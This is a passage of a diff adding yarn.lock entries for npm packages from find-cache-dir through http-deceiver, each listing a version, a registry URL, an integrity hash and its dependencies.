+    debug "2.6.9"
+    encodeurl "~2.0.0"
+    escape-html "~1.0.3"
+    on-finished "2.4.1"
+    parseurl "~1.3.3"
+    statuses "2.0.1"
+    unpipe "~1.0.0"
+
+find-cache-dir@^3.3.1:
+  version "3.3.2"
+  resolved "https://registry.yarnpkg.com/find-cache-dir/-/find-cache-dir-3.3.2.tgz#b30c5b6eff0730731aea9bbd9dbecbd80256d64b"
+  integrity sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==
+  dependencies:
+    commondir "^1.0.1"
+    make-dir "^3.0.2"
+    pkg-dir "^4.1.0"
+
+find-up@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/find-up/-/find-up-3.0.0.tgz#49169f1d7993430646da61ecc5ae355c21c97b73"
+  integrity sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==
+  dependencies:
+    locate-path "^3.0.0"
+
+find-up@^4.0.0, find-up@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/find-up/-/find-up-4.1.0.tgz#97afe7d6cdc0bc5928584b7c8d7b16e8a9aa5d19"
+  integrity sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==
+  dependencies:
+    locate-path "^5.0.0"
+    path-exists "^4.0.0"
+
+find-up@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/find-up/-/find-up-5.0.0.tgz#4c92819ecb7083561e4f4a240a86be5198f536fc"
+  integrity sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==
+  dependencies:
+    locate-path "^6.0.0"
+    path-exists "^4.0.0"
+
+flat-cache@^3.0.4:
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/flat-cache/-/flat-cache-3.2.0.tgz#2c0c2d5040c99b1632771a9d105725c0115363ee"
+  integrity sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==
+  dependencies:
+    flatted "^3.2.9"
+    keyv "^4.5.3"
+    rimraf "^3.0.2"
+
+flatted@^3.2.9:
+  version "3.3.2"
+  resolved "https://registry.yarnpkg.com/flatted/-/flatted-3.3.2.tgz#adba1448a9841bec72b42c532ea23dbbedef1a27"
+  integrity sha512-AiwGJM8YcNOaobumgtng+6NHuOqC3A7MixFeDafM3X9cIUM+xUXoS5Vfgf+OihAYe20fxqNM9yPBXJzRtZ/4eA==
+
+follow-redirects@^1.0.0:
+  version "1.15.9"
+  resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.15.9.tgz#a604fa10e443bf98ca94228d9eebcc2e8a2c8ee1"
+  integrity sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==
+
+for-each@^0.3.3:
+  version "0.3.4"
+  resolved "https://registry.yarnpkg.com/for-each/-/for-each-0.3.4.tgz#814517ffc303d1399b2564d8165318e735d0341c"
+  integrity sha512-kKaIINnFpzW6ffJNDjjyjrk21BkDx38c0xa/klsT8VzLCaMEefv4ZTacrcVR4DmgTeBra++jMDAfS/tS799YDw==
+  dependencies:
+    is-callable "^1.2.7"
+
+foreground-child@^3.1.0:
+  version "3.3.0"
+  resolved "https://registry.yarnpkg.com/foreground-child/-/foreground-child-3.3.0.tgz#0ac8644c06e431439f8561db8ecf29a7b5519c77"
+  integrity sha512-Ld2g8rrAyMYFXBhEqMz8ZAHBi4J4uS1i/CxGMDnjyFWddMXLVcDp051DZfu+t7+ab7Wv6SMqpWmyFIj5UbfFvg==
+  dependencies:
+    cross-spawn "^7.0.0"
+    signal-exit "^4.0.1"
+
+fork-ts-checker-webpack-plugin@^6.5.0:
+  version "6.5.3"
+  resolved "https://registry.yarnpkg.com/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-6.5.3.tgz#eda2eff6e22476a2688d10661688c47f611b37f3"
+  integrity sha512-SbH/l9ikmMWycd5puHJKTkZJKddF4iRLyW3DeZ08HTI7NGyLS38MXd/KGgeWumQO7YNQbW2u/NtPT2YowbPaGQ==
+  dependencies:
+    "@babel/code-frame" "^7.8.3"
+    "@types/json-schema" "^7.0.5"
+    chalk "^4.1.0"
+    chokidar "^3.4.2"
+    cosmiconfig "^6.0.0"
+    deepmerge "^4.2.2"
+    fs-extra "^9.0.0"
+    glob "^7.1.6"
+    memfs "^3.1.2"
+    minimatch "^3.0.4"
+    schema-utils "2.7.0"
+    semver "^7.3.2"
+    tapable "^1.0.0"
+
+form-data@^3.0.0:
+  version "3.0.2"
+  resolved "https://registry.yarnpkg.com/form-data/-/form-data-3.0.2.tgz#83ad9ced7c03feaad97e293d6f6091011e1659c8"
+  integrity sha512-sJe+TQb2vIaIyO783qN6BlMYWMw3WBOHA1Ay2qxsnjuafEOQFJ2JakedOQirT6D5XPRxDvS7AHYyem9fTpb4LQ==
+  dependencies:
+    asynckit "^0.4.0"
+    combined-stream "^1.0.8"
+    mime-types "^2.1.12"
+
+forwarded@0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/forwarded/-/forwarded-0.2.0.tgz#2269936428aad4c15c7ebe9779a84bf0b2a81811"
+  integrity sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==
+
+fraction.js@^4.3.7:
+  version "4.3.7"
+  resolved "https://registry.yarnpkg.com/fraction.js/-/fraction.js-4.3.7.tgz#06ca0085157e42fda7f9e726e79fefc4068840f7"
+  integrity sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew==
+
+fresh@0.5.2:
+  version "0.5.2"
+  resolved "https://registry.yarnpkg.com/fresh/-/fresh-0.5.2.tgz#3d8cadd90d976569fa835ab1f8e4b23a105605a7"
+  integrity sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==
+
+fs-extra@^10.0.0:
+  version "10.1.0"
+  resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-10.1.0.tgz#02873cfbc4084dde127eaa5f9905eef2325d1abf"
+  integrity sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==
+  dependencies:
+    graceful-fs "^4.2.0"
+    jsonfile "^6.0.1"
+    universalify "^2.0.0"
+
+fs-extra@^9.0.0, fs-extra@^9.0.1:
+  version "9.1.0"
+  resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-9.1.0.tgz#5954460c764a8da2094ba3554bf839e6b9a7c86d"
+  integrity sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==
+  dependencies:
+    at-least-node "^1.0.0"
+    graceful-fs "^4.2.0"
+    jsonfile "^6.0.1"
+    universalify "^2.0.0"
+
+fs-monkey@^1.0.4:
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/fs-monkey/-/fs-monkey-1.0.6.tgz#8ead082953e88d992cf3ff844faa907b26756da2"
+  integrity sha512-b1FMfwetIKymC0eioW7mTywihSQE4oLzQn1dB6rZB5fx/3NpNEdAWeCSMB+60/AeT0TCXsxzAlcYVEFCTAksWg==
+
+fs.realpath@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f"
+  integrity sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==
+
+fsevents@^2.3.2, fsevents@~2.3.2:
+  version "2.3.3"
+  resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.3.tgz#cac6407785d03675a2a5e1a5305c697b347d90d6"
+  integrity sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==
+
+function-bind@^1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.2.tgz#2c02d864d97f3ea6c8830c464cbd11ab6eab7a1c"
+  integrity sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==
+
+function.prototype.name@^1.1.6, function.prototype.name@^1.1.8:
+  version "1.1.8"
+  resolved "https://registry.yarnpkg.com/function.prototype.name/-/function.prototype.name-1.1.8.tgz#e68e1df7b259a5c949eeef95cdbde53edffabb78"
+  integrity sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    functions-have-names "^1.2.3"
+    hasown "^2.0.2"
+    is-callable "^1.2.7"
+
+functions-have-names@^1.2.3:
+  version "1.2.3"
+  resolved "https://registry.yarnpkg.com/functions-have-names/-/functions-have-names-1.2.3.tgz#0404fe4ee2ba2f607f0e0ec3c80bae994133b834"
+  integrity sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==
+
+gensync@^1.0.0-beta.2:
+  version "1.0.0-beta.2"
+  resolved "https://registry.yarnpkg.com/gensync/-/gensync-1.0.0-beta.2.tgz#32a6ee76c3d7f52d46b2b1ae5d93fea8580a25e0"
+  integrity sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==
+
+get-caller-file@^2.0.5:
+  version "2.0.5"
+  resolved "https://registry.yarnpkg.com/get-caller-file/-/get-caller-file-2.0.5.tgz#4f94412a82db32f36e3b0b9741f8a97feb031f7e"
+  integrity sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==
+
+get-intrinsic@^1.2.4, get-intrinsic@^1.2.5, get-intrinsic@^1.2.6, get-intrinsic@^1.2.7:
+  version "1.2.7"
+  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.2.7.tgz#dcfcb33d3272e15f445d15124bc0a216189b9044"
+  integrity sha512-VW6Pxhsrk0KAOqs3WEd0klDiF/+V7gQOpAvY1jVU/LHmaD/kQO4523aiJuikX/QAKYiW6x8Jh+RJej1almdtCA==
+  dependencies:
+    call-bind-apply-helpers "^1.0.1"
+    es-define-property "^1.0.1"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    function-bind "^1.1.2"
+    get-proto "^1.0.0"
+    gopd "^1.2.0"
+    has-symbols "^1.1.0"
+    hasown "^2.0.2"
+    math-intrinsics "^1.1.0"
+
+get-own-enumerable-property-symbols@^3.0.0:
+  version "3.0.2"
+  resolved "https://registry.yarnpkg.com/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz#b5fde77f22cbe35f390b4e089922c50bce6ef664"
+  integrity sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==
+
+get-package-type@^0.1.0:
+  version "0.1.0"
+  resolved "https://registry.yarnpkg.com/get-package-type/-/get-package-type-0.1.0.tgz#8de2d803cff44df3bc6c456e6668b36c3926e11a"
+  integrity sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==
+
+get-proto@^1.0.0, get-proto@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/get-proto/-/get-proto-1.0.1.tgz#150b3f2743869ef3e851ec0c49d15b1d14d00ee1"
+  integrity sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==
+  dependencies:
+    dunder-proto "^1.0.1"
+    es-object-atoms "^1.0.0"
+
+get-stream@^6.0.0:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-6.0.1.tgz#a262d8eef67aced57c2852ad6167526a43cbf7b7"
+  integrity sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==
+
+get-symbol-description@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/get-symbol-description/-/get-symbol-description-1.1.0.tgz#7bdd54e0befe8ffc9f3b4e203220d9f1e881b6ee"
+  integrity sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.6"
+
+glob-parent@^5.1.2, glob-parent@~5.1.2:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-5.1.2.tgz#869832c58034fe68a4093c17dc15e8340d8401c4"
+  integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==
+  dependencies:
+    is-glob "^4.0.1"
+
+glob-parent@^6.0.2:
+  version "6.0.2"
+  resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-6.0.2.tgz#6d237d99083950c79290f24c7642a3de9a28f9e3"
+  integrity sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==
+  dependencies:
+    is-glob "^4.0.3"
+
+glob-to-regexp@^0.4.1:
+  version "0.4.1"
+  resolved "https://registry.yarnpkg.com/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz#c75297087c851b9a578bd217dd59a92f59fe546e"
+  integrity sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==
+
+glob@^10.3.10:
+  version "10.4.5"
+  resolved "https://registry.yarnpkg.com/glob/-/glob-10.4.5.tgz#f4d9f0b90ffdbab09c9d77f5f29b4262517b0956"
+  integrity sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==
+  dependencies:
+    foreground-child "^3.1.0"
+    jackspeak "^3.1.2"
+    minimatch "^9.0.4"
+    minipass "^7.1.2"
+    package-json-from-dist "^1.0.0"
+    path-scurry "^1.11.1"
+
+glob@^7.1.1, glob@^7.1.2, glob@^7.1.3, glob@^7.1.4, glob@^7.1.6:
+  version "7.2.3"
+  resolved "https://registry.yarnpkg.com/glob/-/glob-7.2.3.tgz#b8df0fb802bbfa8e89bd1d938b4e16578ed44f2b"
+  integrity sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==
+  dependencies:
+    fs.realpath "^1.0.0"
+    inflight "^1.0.4"
+    inherits "2"
+    minimatch "^3.1.1"
+    once "^1.3.0"
+    path-is-absolute "^1.0.0"
+
+global-modules@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/global-modules/-/global-modules-2.0.0.tgz#997605ad2345f27f51539bea26574421215c7780"
+  integrity sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==
+  dependencies:
+    global-prefix "^3.0.0"
+
+global-prefix@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/global-prefix/-/global-prefix-3.0.0.tgz#fc85f73064df69f50421f47f883fe5b913ba9b97"
+  integrity sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==
+  dependencies:
+    ini "^1.3.5"
+    kind-of "^6.0.2"
+    which "^1.3.1"
+
+globals@^11.1.0:
+  version "11.12.0"
+  resolved "https://registry.yarnpkg.com/globals/-/globals-11.12.0.tgz#ab8795338868a0babd8525758018c2a7eb95c42e"
+  integrity sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==
+
+globals@^13.19.0:
+  version "13.24.0"
+  resolved "https://registry.yarnpkg.com/globals/-/globals-13.24.0.tgz#8432a19d78ce0c1e833949c36adb345400bb1171"
+  integrity sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==
+  dependencies:
+    type-fest "^0.20.2"
+
+globalthis@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/globalthis/-/globalthis-1.0.4.tgz#7430ed3a975d97bfb59bcce41f5cabbafa651236"
+  integrity sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==
+  dependencies:
+    define-properties "^1.2.1"
+    gopd "^1.0.1"
+
+globby@^11.0.4, globby@^11.1.0:
+  version "11.1.0"
+  resolved "https://registry.yarnpkg.com/globby/-/globby-11.1.0.tgz#bd4be98bb042f83d796f7e3811991fbe82a0d34b"
+  integrity sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==
+  dependencies:
+    array-union "^2.1.0"
+    dir-glob "^3.0.1"
+    fast-glob "^3.2.9"
+    ignore "^5.2.0"
+    merge2 "^1.4.1"
+    slash "^3.0.0"
+
+gopd@^1.0.1, gopd@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.2.0.tgz#89f56b8217bdbc8802bd299df6d7f1081d7e51a1"
+  integrity sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==
+
+graceful-fs@^4.1.2, graceful-fs@^4.1.6, graceful-fs@^4.2.0, graceful-fs@^4.2.11, graceful-fs@^4.2.4, graceful-fs@^4.2.6, graceful-fs@^4.2.9:
+  version "4.2.11"
+  resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.11.tgz#4183e4e8bf08bb6e05bbb2f7d2e0c8f712ca40e3"
+  integrity sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==
+
+graphemer@^1.4.0:
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/graphemer/-/graphemer-1.4.0.tgz#fb2f1d55e0e3a1849aeffc90c4fa0dd53a0e66c6"
+  integrity sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==
+
+gzip-size@^6.0.0:
+  version "6.0.0"
+  resolved "https://registry.yarnpkg.com/gzip-size/-/gzip-size-6.0.0.tgz#065367fd50c239c0671cbcbad5be3e2eeb10e462"
+  integrity sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==
+  dependencies:
+    duplexer "^0.1.2"
+
+handle-thing@^2.0.0:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/handle-thing/-/handle-thing-2.0.1.tgz#857f79ce359580c340d43081cc648970d0bb234e"
+  integrity sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==
+
+harmony-reflect@^1.4.6:
+  version "1.6.2"
+  resolved "https://registry.yarnpkg.com/harmony-reflect/-/harmony-reflect-1.6.2.tgz#31ecbd32e648a34d030d86adb67d4d47547fe710"
+  integrity sha512-HIp/n38R9kQjDEziXyDTuW3vvoxxyxjxFzXLrBr18uB47GnSt+G9D29fqrpM5ZkspMcPICud3XsBJQ4Y2URg8g==
+
+has-bigints@^1.0.2:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/has-bigints/-/has-bigints-1.1.0.tgz#28607e965ac967e03cd2a2c70a2636a1edad49fe"
+  integrity sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==
+
+has-flag@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd"
+  integrity sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==
+
+has-flag@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
+  integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
+
+has-property-descriptors@^1.0.0, has-property-descriptors@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz#963ed7d071dc7bf5f084c5bfbe0d1b6222586854"
+  integrity sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==
+  dependencies:
+    es-define-property "^1.0.0"
+
+has-proto@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/has-proto/-/has-proto-1.2.0.tgz#5de5a6eabd95fdffd9818b43055e8065e39fe9d5"
+  integrity sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==
+  dependencies:
+    dunder-proto "^1.0.0"
+
+has-symbols@^1.0.1, has-symbols@^1.0.3, has-symbols@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.1.0.tgz#fc9c6a783a084951d0b971fe1018de813707a338"
+  integrity sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==
+
+has-tostringtag@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/has-tostringtag/-/has-tostringtag-1.0.2.tgz#2cdc42d40bef2e5b4eeab7c01a73c54ce7ab5abc"
+  integrity sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==
+  dependencies:
+    has-symbols "^1.0.3"
+
+hasown@^2.0.0, hasown@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/hasown/-/hasown-2.0.2.tgz#003eaf91be7adc372e84ec59dc37252cedb80003"
+  integrity sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==
+  dependencies:
+    function-bind "^1.1.2"
+
+he@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/he/-/he-1.2.0.tgz#84ae65fa7eafb165fddb61566ae14baf05664f0f"
+  integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==
+
+hoopy@^0.1.4:
+  version "0.1.4"
+  resolved "https://registry.yarnpkg.com/hoopy/-/hoopy-0.1.4.tgz#609207d661100033a9a9402ad3dea677381c1b1d"
+  integrity sha512-HRcs+2mr52W0K+x8RzcLzuPPmVIKMSv97RGHy0Ea9y/mpcaK+xTrjICA04KAHi4GRzxliNqNJEFYWHghy3rSfQ==
+
+hpack.js@^2.1.6:
+  version "2.1.6"
+  resolved "https://registry.yarnpkg.com/hpack.js/-/hpack.js-2.1.6.tgz#87774c0949e513f42e84575b3c45681fade2a0b2"
+  integrity sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ==
+  dependencies:
+    inherits "^2.0.1"
+    obuf "^1.0.0"
+    readable-stream "^2.0.1"
+    wbuf "^1.1.0"
+
+html-encoding-sniffer@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz#42a6dc4fd33f00281176e8b23759ca4e4fa185f3"
+  integrity sha512-D5JbOMBIR/TVZkubHT+OyT2705QvogUW4IBn6nHd756OwieSF9aDYFj4dv6HHEVGYbHaLETa3WggZYWWMyy3ZQ==
+  dependencies:
+    whatwg-encoding "^1.0.5"
+
+html-entities@^2.1.0, html-entities@^2.3.2:
+  version "2.5.2"
+  resolved "https://registry.yarnpkg.com/html-entities/-/html-entities-2.5.2.tgz#201a3cf95d3a15be7099521620d19dfb4f65359f"
+  integrity sha512-K//PSRMQk4FZ78Kyau+mZurHn3FH0Vwr+H36eE0rPbeYkRRi9YxceYPhuN60UwWorxyKHhqoAJl2OFKa4BVtaA==
+
+html-escaper@^2.0.0:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/html-escaper/-/html-escaper-2.0.2.tgz#dfd60027da36a36dfcbe236262c00a5822681453"
+  integrity sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==
+
+html-minifier-terser@^6.0.2:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz#bfc818934cc07918f6b3669f5774ecdfd48f32ab"
+  integrity sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==
+  dependencies:
+    camel-case "^4.1.2"
+    clean-css "^5.2.2"
+    commander "^8.3.0"
+    he "^1.2.0"
+    param-case "^3.0.4"
+    relateurl "^0.2.7"
+    terser "^5.10.0"
+
+html-webpack-plugin@^5.5.0:
+  version "5.6.3"
+  resolved "https://registry.yarnpkg.com/html-webpack-plugin/-/html-webpack-plugin-5.6.3.tgz#a31145f0fee4184d53a794f9513147df1e653685"
+  integrity sha512-QSf1yjtSAsmf7rYBV7XX86uua4W/vkhIt0xNXKbsi2foEeW7vjJQz4bhnpL3xH+l1ryl1680uNv968Z+X6jSYg==
+  dependencies:
+    "@types/html-minifier-terser" "^6.0.0"
+    html-minifier-terser "^6.0.2"
+    lodash "^4.17.21"
+    pretty-error "^4.0.0"
+    tapable "^2.0.0"
+
+htmlparser2@^6.1.0:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/htmlparser2/-/htmlparser2-6.1.0.tgz#c4d762b6c3371a05dbe65e94ae43a9f845fb8fb7"
+  integrity sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==
+  dependencies:
+    domelementtype "^2.0.1"
+    domhandler "^4.0.0"
+    domutils "^2.5.2"
+    entities "^2.0.0"
+
+http-deceiver@^1.2.7:
+  version "1.2.7"
+  resolved "https://registry.yarnpkg.com/http-deceiver/-/http-deceiver-1.2.7.tgz#fa7168944ab9a519d337cb0bec7284dc3e723d87"
+  integrity sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw==
+
